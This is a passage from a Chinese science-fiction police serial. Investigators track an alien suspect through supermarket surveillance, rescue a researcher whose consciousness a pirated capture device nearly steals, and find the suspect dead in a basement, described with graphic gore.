辛瑙眨巴着困惑的小眼睛,看着端戊一顿神操作,还未来得及提问,小乌龟喝多一样的倾斜着就上了隧道侧壁。 小乌龟的速度越来越快,辛瑙的眼睛越睁越大。 “酷哦!这是什么操.作?”辛瑙瞬间觉得自己斥巨资改装的车,一下子就不香了。 “别大惊小怪了,只不过给它装了一个小小的系统。”这绝绝是端戊的得意之作,可是在逆徒面前,还是得保持为人师表的。 “师父,徒儿也要,得空儿把我那两辆车,都整一个这个系统呗。”辛瑙立刻做小鸟依人状和端戊撒娇。 还用两根手指捻着端戊的衣服摇啊摇的,摇了端戊一身的鸡皮疙瘩。 “滚一边去,开着车呢!”端戊觉得自己头皮都麻了,孽徒! 辛瑙哪有那么容易被骂走?她那个改装车相当于做了个整形手术,可是端戊这车,那可等同于神经升级大改造。 可以说,端戊手握武功秘籍,哪个车得了秘籍,那就是脱胎换骨了。 “师父,我可是你独苗的关门弟子,你溺爱着点怎么了……”辛瑙把那个泰迪脑袋倚靠在端戊的肩膀上。 端戊瞬间得了肌肤厌恶症,用一根手指推开卷毛小脑袋:“好好干活,就当是你的考核奖励了!” 她想起了自己也是这样和王校长撒娇过,自己也曾被这么敷衍、应付过。 风水轮流转,逆徒饶过谁。 到了深港超市,在停车场找了个视线好的地方,端戊没着急进去,而是让辛瑙出去买了两个冰淇凌,师徒俩坐在车里看着进去的人。 “这个超市规模够大的了,这不就是个商场吗?”端戊贴进挡风玻璃,侧头歪着脖子往上看。 “你说深港?肯定大啊,背后老板是白舍。”辛瑙在手扣旁边发现了一个手指粗细的洞,正琢磨着要不要把手指伸进去。 “白舍?难怪总觉得深港超市这个名字怪熟悉的,你怎么知道?”端戊收回脖子,舔了一下被太阳晒的开始流泪的冰淇凌。 “肯定知道啊,整栋楼的制冷设备都是我家安装的。”辛瑙手指已经准备探进去一试究竟了。 “那个不能动!走!去看看什么情况。”端戊啪地拍掉辛瑙的手,把最后一口冰淇凌吃掉。 不抗晒就吃掉你。 超市的安防中控室,比清异局的监控室还要大。咱也不知是个人财力展示啊,还是对官方的碾压,反正啥啥都比官方的壮观。 一个超市监控,弄得像国家保密机构似的,都说冷气开的足,这一屋子的显示屏,墙上连个挂奖状的地方都没剩下。 两个人坐在超市安防中控室里,冻得瑟瑟发抖 “你家还真是良心商家啊!”端戊揉了一下鼻子。 “数百年老店呢!”辛瑙双手环臂在侧面竖起一个大拇指。 “警官,二位要的视频都在这里了。”安保主任站起来,让出位置。 辛瑙坐过去,把带来的记忆U盘插进安保系统,植入比对建模,抱着双臂坐在屏幕前扫视。 “师父,找到了!”辛瑙突然一拍桌子,把打瞌睡的安保人员吓得猛地站起来敬礼。 “在哪消失的?”端戊吸溜着鼻子,走到辛瑙身后。 “瞧把他机灵的,这沾上毛就是狐狸嘛!警觉性还挺强,肯定是发现自己在天视下暴露了……”但凡有点难度的发现,都容易让人兴奋,辛瑙更不例外。 “说重点,别浪费黄金时间!”端戊在辛瑙头顶的卷毛上拍了一下。 “好嘞!他进来没有直接进超市,而是溜进了员工通道,躲在了货箱里,混进了仓储区。应该想通过货运混出去。没想到超市是白舍的,在这一块儿那可是出了名的谨慎,只要是从他家进出的货物,不论大小都要上传送带,像过安检似的扫一遍。他发现这个办法行不通,就找了套深港工作服,从仓储区混出去了,可是为什么他四处转悠,却不出去呢?” “你也说他沾上毛就是狐狸,他知道自己已经在掌控范围之内,他在想一个神不知鬼不觉消失的方法,或者说在等待一个机会。”端戊下意识的用手指敲打着辛瑙椅子的靠背。 “师父,你猜对了!他是在等一个机会,而且让他等到了,他终于不再转悠了,而是进了五楼的卫生间。” “五楼?五楼是什么区域?”端戊有种预感,他的机会是一个人。 “啊?”辛瑙调取智能导视系统。 “是食品区,主要是糯米类食物。”一旁打着哈欠的安保人员,突然来了精神。 “糯米?五楼卫生间是他最后消失地?”端戊隐隐觉得,某些东西已经开始联系到一起了。< /p>“对!五楼……师父你去哪?”辛瑙一溜小跑跟着追进电梯,看着端戊按下五楼按键。 “咱俩身高明明差不多的,怎么感觉你的一步相当于我的一步半了呢?” “身材比例得天独厚,天生的优势是羡慕不来的。”电梯门打开了,端戊想问辛瑙,电梯也是你家供应的啊?两句话的工夫,到了。 “卫生间是清扫最频繁的地方,还能有多少线索留给我们?”辛瑙走进卫生间区域,味道不是吸附异味的浓重清洁香,而是洁净环境中的自然清香。 “绝对找不到!” 在一处幽暗的地下室里,一个满身毛发的人刚从浴室里走出来。毛发上还有未擦干的水珠闪动着,嗓子里也像是长了毛发一样,含糊不清的信誓旦旦。 浴室门大开着,潮湿的空气里是浓郁的血腥,地上是两副皮囊,一副是风干的,另一副还在渗血。 坐在床尾沙发上的是个带着渔夫帽的小个子,正环视着黑黢黢的房间,除了一张单人床和一个简易的柜子,只有他屁股底下的破沙发了。 “别被顺藤摸瓜了!”小个子把帽檐压低了些,好像那样可以遮挡些潮气和气味似的。 “就算我被关了这么多年,还是不会手生的,这点小活怎么会失手!” 毛发人像是被侮辱了一下,毛发丛中不太明显的眼睛骤然瞪大,朝着小个子怒吼,仿佛下一秒就会生吞了他。 “老板让我通知你,这段时间不要露面,风声过去再说,你被关的太久了,这个世界已经不是你熟悉的那个环境,低调点!” 渔夫帽的帽檐,挡住了一双鹰隼的眼睛,却挡不住声音里阴恻恻的寒冷。 “你!”毛发人揣在怀里的尊严,被扯出来扔在地上摩擦,对于只剩下尊严的人来说,说什么也不能忍。 在实力绝对悬殊面前,小个子并没慌乱,自顾自的朝门口走去。 奇怪的是,毛发人并没有跟上来,而是像是树木枯萎的小山呆立在那里。 “呆愣在那干嘛呢?想不想准时下班了?”端戊瞟了一眼面壁思过的辛瑙,怀疑她睡着了。 “我在看这个墙壁,有没有夹层,会不会有什么暗门、通道什么的。”小机灵鬼又开始抖机灵了。 “把你瞳视里那些没用的直播间、聊天室该卸载就都卸了吧,对脑子不好。”端戊从未没想过,自己的工作内容还会包括擦拭厕所的墙壁和地面。 “师父,有钱人的世界真难懂,厕所修这么大干嘛?”辛瑙早就崩溃的忘记她也是个有钱人,崩溃到情绪碎片已经溅到端戊的情绪里, “走!下班,回家!”端戊拿起装了满满证物袋的大袋子,递到辛瑙的手里。 “下班!博弈真正开始了!”辛瑙甩起大袋子扔到肩膀上。 “小康下班了,班车在门口了!”夏所路过研究员办公室,看到只剩下她一个人在那发呆。 夏所没得到回应,把虚掩的门推开,看到康屿安背对着门口,站在窗台前。 “康屿安?”夏所以为她不太习惯小康的这个称呼,可是康屿安还是没动,夏所想起了遇害的金安。 28.第 28 章 夏所走到康屿安的身后,拍拍她的肩膀。 其实并没有用力,而康屿安却像碰瓷一样扑到窗台上,头咚地撞到窗子上。 “康屿安!” 夏所倒吸一口冷气:我是有毒吗? 推不醒、摇不醒,夏所已经顾不上喊人了,五十多岁的小老太太,直接就把康屿安扛在肩膀上,捣腾着小碎步、风驰电掣地往外跑。 端戊和辛瑙回来的路上,小乌龟早已经跑成路上最快的仔,辛瑙双手紧紧拉着副驾的把手:“师父,我也是有医疗保险、补助的是吧?工伤还有额外补助吗?” “要不把你放下自己回?”端戊速度又提了提,不知道急的是什么,反正她很急。 辛瑙感觉到了明显的推背感:我是加速器吗?师父的叛逆期还没过呢! “我不!现在晚高峰!我哪抢得过、挤得赢?师父,要不你再快点!”辛瑙抓的更紧了。 反着要求,是不是就能如愿以偿了? 瞳视有提示,还以为是端妈喊她们回去吃饭,没想到是夏所。 端戊的心一沉再沉,沉无可沉。 “师父,在前面把我放下吧,人民医院不同路……”辛瑙从车载连接屏看到夏所火急火燎的样子,乖巧成兔。 夏所不急才怪呢,第一个外聘教授上班第一天就死,还很惨烈。好不容易又聘来一个专员吧,上班第一天失去意识了,这谁还淡定得了啊?她甚至都动了某种不科学的心思,是不研究所有点说法啊! “一起去!你也许帮得上忙。”端戊找了个路口,漂移着就调转了小乌龟,小乌龟跟了她,也算是放飞自我了。 可若说放飞自我,恐怕没人飞得过叶白。 叶白在自己的房间里,又开出一个折叠空间,被子都没叠过的人,居然在亲手布置房间,满心欢喜地布置出一个薰衣草的童话世界。 最后抹平早就没什么褶皱的被子,叶白躺在了香芋紫的手工粗绒地毯上,地毯上点缀着紫色的小耳朵。 叶白放松的躺在地毯上的立体紫耳朵上,修长的手指在其中的一个纱绒耳朵上摩挲。 这是她刚建造出来的双体空间,既可以是意识的容器,也可以是正常的空间。 感觉到时间差不多了,还没有等到早就应该带回来的意识体,叶白起身去看全息捕识仪怎么回事。 没有报故障,显示一切正常。这工作效率怎么和说明书的不符合呢?不是A版吗? 蔚蓝色的病房里,康屿安像个熟睡的娃娃,巴掌大的脸蛋白透红润,端妈养孩子还是挺有一套的。 端戊和辛瑙跑进来大力撞门的声音,都没有让她的睫毛动一下。 夏所亲自去医生办公室了,只留了两个研究所安保人员,吉祥物一样门口守着。 “康屿安?”端戊尝试着叫醒她,气息急促的扑在康屿安的脸上。 “师父,要不让我看看?”其实进来以后,辛瑙已经察觉问题所在了。 “你快看看她怎么了?”端戊闪身到一边。 “简单来说,康屿安现在的意识被哄睡了,咱俩再晚来一会儿,意识就被哄走了。”辛瑙从衣领里拉出既像镰刀又像斧子的吊坠。 “你拿它干嘛?她闭着眼睛呢!”端戊用一根手指去探康屿安鼻息。 看着端戊有些慌乱的样子,辛瑙不厚道的想笑,又理智的压住笑意。 “又不是催眠,就算是催眠,也不一定非得睁开眼睛的,孤陋寡闻了不是师父?”辛瑙表情得瑟的拎着链子开始在康屿安身上“做法”。 “少卖弄,专心点!”端戊习惯地要拍辛瑙的后脑勺,贴近卷毛的时候却收住了。 “师父,你是不是能制造些精神干扰?”辛瑙额头上沁出汗来,但是她已经找到了突破点了。 “可以,可是控制目标是谁?”端戊用意识和自己的控镜真情实意的沟通了一下,从前一概不追究,这次说什么也不能掉链子。 “控制住康屿安就行,别让人家拐走了!红颜还真是祸水,难怪我家祖训之一就是结婚不能找太漂亮的,端正就行,看样子祖上在颜值这一块是吃过大亏的。我和你说,我能长成这样,靠的都是运气,遗传的都是我爸妈优点……”眼见着康屿安被控制住丢不了了,辛瑙顿时就放松了,话也多了。 “把嘴闭上干活!”端戊被她叨叨的有点心乱,端砚从小就是个冷小孩,话并不太多的,说真的,和辛瑙相处这么久了,她还是不太能适应话痨上来的那个劲儿。 “又不耐烦!师父你对我的爱……”辛瑙缓缓收回镰刀斧项链。 “别拿师父当师祖,不爱,怎么这就收了?完事了?康屿安怎么没醒?”端戊等不了她慢悠悠的说完,满心满眼的都是康屿安。 “别急啊!放心稳住了,拐不走了!这是人为的!”辛瑙的新发现让她有些激动。 “人为的不明显吗?她怎么还没醒?”端戊把辛瑙挤到一边,坐在康屿安床边。 “我说的人为和你说的人为不是一个人为……”辛瑙挨着端戊坐下,看了一眼康屿安,又看了一眼端戊,心里暗自庆幸。 幸好当时自己只是欣赏不是觊觎。 “怎么?不是一个人?”每次辛瑙摇头晃脑卖关子的时候,端戊都想揶揄她。 “师父,有种治疗儿童多动症、自闭症的医疗器械你知道吗?就是把小朋友的脑意识提取出去,到全息空间治疗,痊愈后再把孩子的意识送回去。”辛瑙从瞳视里拖出相关资料给端戊看。 “不知道,你怎么知道?”辛瑙扫了一眼屏幕,全息捕识仪的理念原理作用,就了解的差不多了。 “我肯定知道啊,这个仪器都专利是我家的,全市所有医院都是我家供应的,全球二分之一的医院、星际四分之一的医院,也都用着我家的……” 辛瑙说话只要说到兴奋点,话题跑到哪就不好说了,当然了绕一圈也有可能再跑回来。 “你家人干的?”端戊站了起来,一副要抄家的架势。 “谁家人干的!你坐下坐下,总是不听人家把话说完了。 ”辛瑙把端戊拉住,坐在自己旁边,一下下拍着端戊的后背,像是拍灭了火苗一片似的。 “康屿安怎么还不醒?”端戊问出口时,脑子里突然闪过康屿安一遍遍的问她疼不疼时的画面。 “不是说了吗?她只是被哄睡了,但最好让她自行清醒,直接叫醒了对脑子不好。仪器专利虽然是我家的,可是地球人多聪明啊,现在市面上出现各种盗版仪器,卖到私人医院或者黑诊所里,更有甚者还有人卖给不怀好意的人,现在黑市上就能买到,已经形成了产业链了。” 说到这事,辛瑙的火气冲上脑门,拍端戊后背的手不由也加大了力度,要不是她的身板单薄,她师父已经被拍吐血了。 “你知道的还不是一般的多,什么产业链?”端戊挪动屁股,看似是离康屿安近了点,实则是为了离辛瑙远一点。 “自己家的事谁不关心啊,只能说我家涉猎的产业有点多,别打岔都把我带跑偏了,不知道哪个造大孽的发现了商机,开始像出售意识宠。比如说,有个有人喜欢上了某明星,人家肯定是不乐意的啊,强行掳走是违法的,于是有了盗版的全息捕识仪,先把意识捉来,过了一定时间,这个人就会出现假脑死亡,然后再买通医院换出尸体,身体和意识二合一,意识宠就成为真人宠了,而这个人的身份已经在这个世界上消失,不会再有人找他们了。” 辛瑙想到这个事情就恨得牙痒痒,她有个姑姑就是这样丢的,任凭辛家再人脉广,财力壮,也没找到她的姑姑。 也因为这个,她才有多现在的异能,准确来说,她的异能并不是天生的。 别人不打岔你就不跑偏了吗?信息太过于卑劣,端戊也顾不上这些小事。 “也就是说,康屿安是被盯上了?”端戊握紧拳头,关节上看不到一点血色。 “可以这么说,不过师父别担心,刚刚我已经替她锁定了,没特殊情况,那个盗版玩意儿奈何不了她。”辛瑙安慰的拍拍端戊的肩膀。 “有没有一种可能,让我的意识替康屿安被抓过去,有什么办法能保持联系,或者保证我意识中的异能不受影响……” 知道康屿安没事,端戊一直悬着的心可算是落地了,可是,她咽不下这口气,更重要的是作为执法者,也见不得这些人逍遥法外。 “想都别想!首先我就不同意,他们那就是三无产品,没有任何保障,意识再次回到身体靠得都是运气。更何况我们对他们的了解也只有这么多,真实情况谁也不知道,要不然这么多年过去了,怎么会还找不到我姑姑。” 说到姑姑辛瑙鼻子酸了,吸溜了两下才忍住眼泪。她可不能让端戊去冒这个险。 端戊和辛瑙沉默了一会儿,突然同时看向对方,都从对方眼里看到了忿忿不甘。 “不分物种、什么意识都可以吗?”端戊突然嘴角噙笑,眼底的笑意不坏好意。 “师父,还得是你!我倒是有个办法,虽然不一定能够一招制敌,可是至少给对方点教训。”辛瑙眯着眼睛把自己笑成了反派样儿。 29.第 29 章 盗版全息捕识仪,也是分为A、B、C三个级别的版本。 即便是A版的捕识仪,叶白也没有多信任,奈何正版和某止痛类药品一样,只限公立医院使用,绝无可能外流到市面上。 利益之下,什么时候缺过铤而走险的愚勇? 几百年来,尽管盗版一直被打击,却始终是野火烧不尽、春风吹又生,也许他们自己都想不到,会遭到反噬的这一天。 叶白盘腿坐在捕识仪面前很久了,久到早就超出她的耐心,从一开始摩挲地毯上的小耳朵,到用力揉搓,到最后一根根拔掉耳朵位置的地毯毛。 捕识仪却稳如老狗,一直显示正在提取中。 叶白终于忍无可忍了,像弹簧一样的暴跳起来,一副到了别人家的模样在房间里环视了一圈,最后拎起看起来还算比较暴力的梳妆凳,恶狠狠地就要砸上去。 眼看着捕识仪就要寿终正寝了,旁边突然旋转出白色光芒,光的中心点缓缓升腾出一对耳朵。 “这就来了?”叶白举着凳子的样子显得有点傻,可是眼睛里终于有光了。 白光渐渐暗下去,叶白隐约觉得哪里不对劲,这耳朵是不是有点色差啊?咋还掉色了? 直到整个人完全出现在叶白面前,才知道是哪里不对劲儿,这哪里是精灵的意识,这就是活生生的一个精灵啊! 耳朵哪里是掉色了,她根本就是粉色的耳朵,橙红的大卷发像鸟窝似的,除了洪橙橙还能是谁! “谁让你这个时间来的!”叶白牙都快咬碎了,才忍住没把凳子甩到橙红的鸟窝上去。 “这话说的,肯定是想你了呀,你这是在干嘛?”洪橙橙自以为很懂事地接过梳妆凳,其实她已经到了阎王殿门口闪游过了。 “我不想你!回去吧!这条通道我会关掉,以后不要再来了。”叶白摘下眼镜丢到一边去,两根手指捏住内眼角缓解情绪,尽量让自己能平复下来。 估计太过于直白,洪橙橙有两秒钟没反应过来,硬是让叶白的话掉在了地上。好一会儿才想明白,自己今天来的不是时候,叶白心情不好。 洪橙橙却是不当回事的,谁让她是叶白的小野猫呢,自认有拿捏人家的自信。什么叫无知者无畏,对叶白了解的太少,就是对自己的性命不友好。 “你想不想我不重要,我想你就够了呀!”洪橙橙走近叶白,打断她平复情绪的动作,把她的手拨到一边,双手环上叶白的脖子,就那么直勾勾的盯着叶白尝试着勾出她的魂。 中分的漆黑长发,柔顺的垂在叶白的脸上,也遮挡住了额角凸起的青筋,本就不太聪明的洪橙橙,连基本讯号都错过了。 叶白抓住洪橙橙的手腕,手下不断的用力,似乎能听到骨头咯吱咯吱的声音,也不知道是叶白手指关节、还是洪橙橙的手腕发出的声音。 “我刚说的话,听不懂吗?同样的话我不喜欢重复说。” 洪橙橙眨着晶亮有余、聪慧不足的大眼睛,终于察觉出不对劲开始害怕了。她只是不聪明,又不是傻,杀气还是能看得出来的。 “听,听明白了。”洪橙橙忘了疼,只想抽回手腕。 “那就怎么来的、怎么回去,别让我再看到你。” 叶白看着洪橙橙头上粉色的耳朵,她不敢保证再墨迹一会,自己会不会把她丢进紫色漆桶里,把她泡成紫色的。 洪橙橙刚从折叠通道里消失,叶白就把这条和外界连接的通道封死了。 她承认自己开这条通道的时候有点不理智了,赝品就是赝品,怎么也代替不了正品。 刚要拎起凳子,叶白看到又一个白色漩涡光团升腾而起。 “通道刚封上,难不成这次真的来了?”叶白也是第一次用A版全息捕识仪,她也无法确定。 为了节省成本同时环保,很多发光的设备都选择默认白光。 叶白紧紧盯着白色漩涡,先露出来的还真是妙脆角耳朵的形状,心里顿时燃起了希望,快速向前挪了两步。 还没等她看清楚,一道黑影倏地从白光里冲出来,恶狼似的扑向它眼中的猎物。 叶白毫无准备的被扑了个正着,不由蹲下去捂紧胸口,看着对面长着猫的耳朵、狼的眼睛,猪的嘴巴,豹子身体的丑东西。 对方是意识离体,虽然对叶白身体造成不了什么伤害,可是它会攻击对方的意识。 如果没猜错的话,这应该是哥布林人那个变态卤蛋,整出来的变异物种,意识可以脱离本体行凶,以意识为食。 刚扑的那一下,如果换做寻常的生物,这会儿就算没被吞了意识,至少也会意识受损的。而叶白是特殊的星际混血,她的出生,可以说是精准计算的成果。 虽然叶白意识不会被吞食,可是被它这样一下一下冲撞,也是生疼啊。 没办法,叶白只能绕着房间跑,尝试打开折叠空间的同时,连接瞳视呼叫安保。 安保还没到,管家听到动静推门进来了:“叶白小姐……” “出去!”叶白看到管家时,已经预测到了后果,本能的还是想要救她。 管家还没看清是怎么回事,只是感觉一阵风刮过来,梳的一丝不苟、苍蝇落上去都得摔个跟头的头发,被吹散两缕,落在脸颊。 困惑的表情来不及换上恐惧,整个人就直直地躺下去,像是死了一样。 吞识兽舔着舌头回头看向叶白,那张奇丑的脸上是放大的餍足。 “操!”叶白脸色比吃了死苍蝇还难看,不是她有多舍不得管家,原本不会让她妈妈知道的事情,现在彻底瞒不住了。 端戊把康屿安带回公序舍已经快凌晨了,睡精灵对端戊说的事情毫无印象,一觉无梦,根本不知道差点成为被拐精灵。 公序舍是端戊见过最不像宿舍的宿舍了,一梯两间,端戊和康屿安。两扇门的中间坐着端戊的门神机器狗,让原本陌生的环境,有了点熟悉的感觉。 端戊帮康屿安录入了人像识别和指纹识别,让康屿安试试能不能打开,没想到人家开了门进去后,就打算把端戊关在门外。 “就算要拆桥,你是不是也等自己先过了河再说?”端戊单手挡住门。 “水都漫到桥上了,等你有什么用,一起淹死吗?”康屿安放端戊进来,自己直奔沙发,对新家丝毫提不起兴趣。 端戊看着康屿安,她不哭、不怕、不慌,只是耳朵看着有点无力,整个人都显得很疲惫的窝在沙发里,生死在她嘴里说出来,就像是别人的事。 那是一个再不会被疼爱的人,才会有的样子。没人疼,便不怕疼。 “在你昏睡的时候,我妈打了好几个瞳视过来问你适不适应新家,缺什么少什么和她说。她明天就送过来,端砚也问你,自己住会不会害怕,她可以过来陪你。” 端戊想让康屿安知道,她是有人挂念的,不要活得没有一点生气,那副样子,像是隔空伤人的利刃,刀刀见血。 “替我谢谢她们。”康屿安眼睛亮了点,耳朵也有了点精气神儿,只是声音还是低的像没吃饱。 确实是饿着呢,从下班到现在,一直没吃东西呢。 而且,无论是端妈还是端砚,到底不是她的家人,得到的关心是要道谢的。 至于她自己,更什么都算不上吧。 端戊看了冰箱,空空如也。食品柜子里倒是不空,却只有方便面。巧了,端戊只会做方便面。 “你可能不知道,地球的方便面,是整个星际最好吃的了。我吃过所有星球的方便面,尤其是哥布林星的,打着健康的名号理直气壮的难吃,你说你都吃方便面了,还瞎讲究什么啊,想要健康也不吃这个啊……额,咱俩今天没得选,凑合一下。” 康屿安突然觉得自己是辛瑙附体,嘴怎么就碎成渣了呢。 或许这间宿舍从没有人住过,她想添些烟火气。或许从生死线回来的气氛有些苍冷,她想添些暖意。 “我很小的时候就特别想尝尝方便面的味道,爸爸妈妈说小孩子不能吃,等我长大了,就没有那份非吃不可的迫切,再后来,即便有钱也买不到方便面了,想不到,我的第一碗方便面,竟然是和你一起吃的。” 康屿安跟着端戊去了厨房,倚着门框,看着端戊手忙脚乱的背影。 “你们星球留下的那部分人……”今天,端戊已经收到星际警发来的关于朝暮星的情况,康屿安并没有说实话,实际情况要惨的很多。 “我爸爸妈妈一定会等我回去的!”康屿安始终深信她爸妈是活着的,她不想听端戊多说一个字。 端戊的心突然就像挨了一拳:我这是在干什么,她家也许只剩下一个人了,我在为了所谓的大义,灭人家劫后遗孤吗? “康屿安,夏所让你休假,暂时休息一段时间。如果……如果你现在后悔的话,也是可以的……”端戊搅动着咕咕冒泡的面,回头看康屿安。 康屿安直勾勾的眼睛都快掉进锅里了,悄悄的吞咽口水。 “我不后悔,我也不会死。将来我还可以用在地球上的经验和方法,回去救自己的星球。”康屿安一对小耳朵,倏地竖起,格外坚定! “我会保护好你的!”端戊像宣誓一样严肃地看这个倔强的精灵,还是怪可爱的。 “知道,差点死了这么多次,不也没死吗?还得谢你又救了我一命。”康屿安去橱柜里取碗筷:“你要一起吃吗?” “嗯,陪你一起吃面……” 打断端戊的不是康屿安,是瞳视! 30.第 30 章 如果不是万不得已,谁愿意讨人嫌呢?可是除了辛瑙再无他人,她的身后都是机器人。 “师父师父,也不能怪我嘛,自己什么职业心里咋没点数呢?不受打扰的日子,也是咱有资格拥有的吗?”辛瑙握紧拳头先给自己打了气,才鼓足勇气连接瞳视。 “嗨!师父!”辛瑙拿出来最饱满的热情,可怜的孩子原本清澈的眼神里,竟多了些谄媚。 对面的端戊根本不会、也懒得假装,心里装着什么,脸上就挂着什么。 比如说现在,挂了一脸的刀。 “康屿安,感觉怎么样?有没有头晕?”辛瑙发现康屿安站在门口,正歪着脖子、竖着耳朵看着她。 “谢谢辛瑙,感觉还不错,你又救了我一次。”康屿安对辛瑙还是挺有好感的,虽然都是嘴贱,可是人家贱得不扎心啊。 “好朋友说什么谢嘛!希望没有下次了哦,我倒是不嫌麻烦,可是有人吓得要死。”辛瑙说着,用小眼睛瞄着端戊。 这时端戊脸上的刀已经卸下来了,嘴角虽然不显,可是辛瑙就是知道她师父正在努力压着的,自己这波助攻干得还是挺漂亮的。 “好,那我就不客气了。你是找你师父有事吧?她现在就过去了。”康屿安对着端戊微点头,自顾自地吃方便面了。 闻着就很香的东西,吃着也一定更好吃。 “师父,那,我就在现场等你了?位置我发给你了。”辛瑙看着康屿安的背影,怎么有种替师父向师娘请假的感觉呢。 “好,很快就到。”端戊的心早就飞到现场了。 贪恋归贪恋,责任是责任,仓促毕业、紧急上任后,她似乎已经不属于她自己了。 看得出康屿安吃得很开心,从后面看过去那对小耳朵正在快乐摇摆。 “康屿安我走了哦,吃完早点休息,嘟嘟在门口守着,你不用害怕。”端戊话刚说完,人已经走到门口了。 “嗯知道了。”康屿安一心扑在方便面上,头也未回。 哼!不可信的人类,说过的话没有一件是能做到的!刚还假装不情不愿的样子给谁看呢! 赶到现场时警戒线已经围上了,辖区派出所的警员正在为报案人录口供。 扫了一眼周边的环境,端戊钻进警戒线去找辛瑙和法医科的机器人。地下室没多大,进去就看到蹲在机器人旁边,专注得像是探宝一样的逆徒。 端戊快步走过去,不得不说,辛瑙天生就该吃这碗饭,她自己都是做过无数心理建设,压下无数翻江倒海才逐渐接受适应呢。 “师父,你来了?快来看,证据链闭环了!只是案犯被杀了,不过带回去提取DAN,肯定能对上,洗衣店老板能回家了。”辛瑙对端戊招手,手套上的血迹就像是刚刚在血里浸泡过。 端戊走近死者,第一眼看上去还以为是未进化完全的人类:“这毛发茂密的,是斯洛鄂星的吧?” “师父您好厉害啊,我是搜索了才知道呢!”辛瑙满眼小星星。 “你师祖最近每晚有给你补课吗?”端戊心想,你但凡能上个学,现在也是知道的。 说到底是我拔苗助长了,端戊略显心虚的揉了揉鼻子。 “有哇,来之前正上着课呢。师父您看!”辛瑙侧开一点身体,让端戊能看到完整的尸体。 端戊有点上头,死者侧身躺在地板上,整个腹腔是打开的。重点是这个腹部伤口,不是刀伤、是撕伤,确切点说是手撕伤。 “你打开的?你就是这么找证据的?”端戊看着辛瑙的手套,逆徒这么拼吗? “我入职时心理测试好着呢,没有变态倾向,这个是他自己撕开的。”辛瑙指了指死者的右手,亦正亦邪的歪着嘴。 死者的半个小臂都浸红了,指甲像是描了一圈红,指甲缝里塞满了鲜红的不明肉丝。内脏搅合在一起,被肠子缠绕成一团,分不清谁是谁。 一个也许是胃的器官被撕开了,他似乎在找什么,还没找到就死了,火急火燎的把自己弄死了。 “说你发现的!你这手,怎么回事?”端戊把口罩往上拉了拉,她想回去亲自看着辛瑙重新测试一次。 “师父,你也好奇他发了疯、不要命地在找什么吧?我也好奇啊,就试探着探查了一下,还真找到了!他的胃里只有糯米,他只吃这一种东西,你猜,和昨天检验科出来的结果,会不会是成分相同?” 辛瑙小心的脱下手套,换了新手套。 “如果会,那就不是案件问题了。”端戊盯着已经被收起的两块皮囊。 “那是什么问题?”辛瑙跟在端戊身后,拿出多波段勘察灯在旁边照着。 端戊立刻察觉到了辛瑙的不对劲:做错什么事了?没见逆徒这么殷勤过啊?” “嘿嘿!”发现端戊在看她,辛瑙呲出了八颗小白牙,多少有些不好意思。 这是她昨晚和爷爷一起回来时,从爷爷助理那学来的。 停车场有一段路的灯带出现故障了,其他路段的灯都是好的,其实并影响走路。然而,助理小帅立刻拿出生物感应夜光灯,调了适合的亮度,走在爷爷的前侧。 辛瑙有那么一点悟了:虽然她师父并不需要她这么懂事,可是她是不是有点太不懂事了。 出外勤她师父开车,吃水果她师父去洗,甚至她冷了都是她师父去停车场时,顺手帮她拿的外套。 难怪师父整天没什么笑脸呢,辛瑙还吐槽过:整天拉着一张脸谁欠你的似的,现在看来,好像是自己欠她一个爱徒。 可是刚刚她那什么眼神?对她好了她咋还不适应呢? “咱俩从深港超市卫生间带回去的证物,检验科刚出结果,我还没来得及和你说呢,对方就已经动手灭口了,这说明什么?” 端戊感觉自己语气都柔和了几分,怎么自己也成为自己不想成为的那种人?自己也吃这一套? 嗯,应该只是伸手不打笑脸吧?逆徒变乖徒了? “师父,咱们单位有内鬼?不对啊!咱都是机器人啊!被植入病毒了?有黑客入侵了?师父,你不会是怀疑我吧?我还不知道呢!” 辛瑙有点激动,对清异局越熟悉,越知道这地方有多密不透风。 而 现在,居然泄密了。 “咱们每天早上都是要用多维变色龙全局晨检的,别说机器人了,连你都没放过。多模态感知系统更是二十四小时不间断的,杜绝任何认知欺骗、逻辑木马和物理木马,还有李代桃僵防御系统专门对付那些黑客的。” “所有的系统背后还有一套独立的监控系统看着,目前来说没有更先进的技术能攻破清异局,除非对方用了什么未知的方法……辛瑙,想你师祖了吗?明天去看看她老人家。” 察觉到问题的严重性,端戊连接了全局的防御系统,当即检查了一遍,毫无入侵过的痕迹。 放心了,也更不放心了。没有入侵只能说明无重大过失,可是过失未知岂不更吓人? “好,想师公了……哎不是!师父你怎么能连我也扫呢!天天辐射会不会影响我聪明的大脑啊?” 辛瑙咻地转向端戊,忘了手里的勘察灯,直接支到了端戊眼睛上,差点晃瞎她师父。 端戊被晃了一个措手不及,眼前一亮又一黑,缓了好一会儿才能看清:“有什么可问的,你不是知道吗?” “我知道什么了?我都不知道你每天都在扫我!”辛瑙关了勘察灯,双手背在身后,站到了道德的制高点定定的看着端戊。 “整天把我不疼你、不爱你,不拿你当徒弟挂在嘴上,你都这么说了,我还不得这么做一下?” 辛瑙歪头眨眼看着端戊不吭声、心里暗忖:师父这对吗?你是这么记仇、有仇必报的吗? 端戊没搭理她,蹲身下去看着金安的干皮囊和那张没来及风干、不知道是谁的皮囊。 “把你今天的发现和这里所有的证物全部带回去,先封存,不要交给物证科。明天出一份报告给我……对了,你是不是欠我一份不少于五千字的报告啊?”端戊单手撑膝,侧头看辛瑙。 “哎呀师父,情况基本就这样了,明天我和派出所对接证人笔录,您看天也晚了,这里我盯着就行了,您先回吧!开车注意安全哦。” 前后不到一分钟,辛瑙就从道德制高点滚下来了,什么辐射不辐射的,根本不不重要。不,是不存在! 端戊回到宿舍,已经凌晨了。 在门口的机器狗前面站了一会,没发现什么异常正准备回房间,却迷路了,刷脸进了康屿安的房间。 客厅灯和卧室灯都没关,卧室门也没关。不好判断,今天的事有没有在她这留下阴影,这是害怕呢还是不害怕呢? 本来端戊只是想站在门口看看康屿安睡得踏实不,这样就可以安心回去休息了。 看到厨房没有收拾,就撸起袖子一头扎进厨房,轻手轻脚地把碗碗筷筷、杯杯盘盘的摆进洗碗机。 想必康屿安在家时,没有做过这些事情,可是,谁又做过呢? 洗碗机和旁边柜子有个一掌宽的空隙,里边竟然有个袋子。端戊确定,她在煮方便面的时候还没有,这个绝对不是宿舍里原来就有的。 “吃的东西怎么不放冰箱?朝暮星喜欢放在柜子空隙里的?”端戊吐槽着把袋子拉出来,看看康屿安藏了什么好吃的。 31.第 31 章 端戊打开袋子,里面装着一个透明的食品盒。 